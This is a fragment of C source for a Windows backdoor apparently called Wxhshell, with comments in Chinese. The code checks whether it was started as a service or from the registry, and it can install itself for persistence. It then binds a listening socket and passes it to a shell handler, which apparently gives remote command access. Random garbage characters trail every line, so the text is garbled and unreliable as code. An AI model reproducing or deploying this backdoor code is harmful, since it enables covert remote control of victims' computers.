ULONG InheritedFromUniqueProcessId; ]*'V#;s
} PROCESS_BASIC_INFORMATION; 0L9z[2sj
hW P$U
PROCNTQSIP NtQueryInformationProcess; k}(C.`.
6av]LY K
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :}i
#ODJ
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; n3SCiSr
%ZDo;l+<F6
HANDLE hProcess; F]:@?}8R
PROCESS_BASIC_INFORMATION pbi; Ml@,xJ/aia
{=pRU_-^
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _e
E(P1
if(NULL == hInst ) return 0; oj/,vO:QT
_VFl.U,
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0O5(\8jM
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); sG!SSRL@
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .v?Ir)
\#?n'qyj
if (!NtQueryInformationProcess) return 0; !yI , ~`Z
NifzZEX
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]>M{Qn*
if(!hProcess) return 0; tsaf|xe
^rO3B?_
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0pYO-@E
2m7Z:b
CloseHandle(hProcess); .'.#bH9K
cy%JJ)sf
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8q58H[/c
if(hProcess==NULL) return 0; Oc8]A=M12
r+r-[z D(
HMODULE hMod; kmXpj3
char procName[255]; EZlcpCS
unsigned long cbNeeded; )u ) ]#z
jq#uBU%
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i"V2=jTeBv
EdbLAagI6
CloseHandle(hProcess); 4=^_ 4o2
^@5#jS2
if(strstr(procName,"services")) return 1; // 以服务启动 B! $a Y
f mXU)
return 0; // 注册表启动 mltG4R
?
} KjFNb;mM
2mg4*Ys
// 主模块 U>PF#@ C/
int StartWxhshell(LPSTR lpCmdLine) vs]#?3+
{ _1TSt%L
SOCKET wsl; sq1Z;l31"
BOOL val=TRUE; a"ZBSg(
int port=0; fbgq+f`\
struct sockaddr_in door; c
4xh
gb:)t}|
if(wscfg.ws_autoins) Install(); >T:
Yp<
%P05k
port=atoi(lpCmdLine); 6P@3UQ)}s
s
wgn( -
if(port<=0) port=wscfg.ws_port; G$FNofQx
tai
WSADATA data; Hry*.s -
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j[2?}?
HMDQEd;
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 7v\K,P8
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?ra6Lo
door.sin_family = AF_INET; YbjeM6#E
door.sin_addr.s_addr = inet_addr("127.0.0.1"); BIyNiol$AJ
door.sin_port = htons(port); S^ij %
ZtG5vdf
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 94Wf ]
closesocket(wsl); rN* ,U\q
return 1; H%2Y8}
} yv2BbrYyy
}H2<w-,+
if(listen(wsl,2) == INVALID_SOCKET) { 5[NF
closesocket(wsl); kH$)0nK
return 1; ?L.c~w;l
} XoI,m8A
Wxhshell(wsl); =73""ry
WSACleanup(); /4w"akB|P
Ck<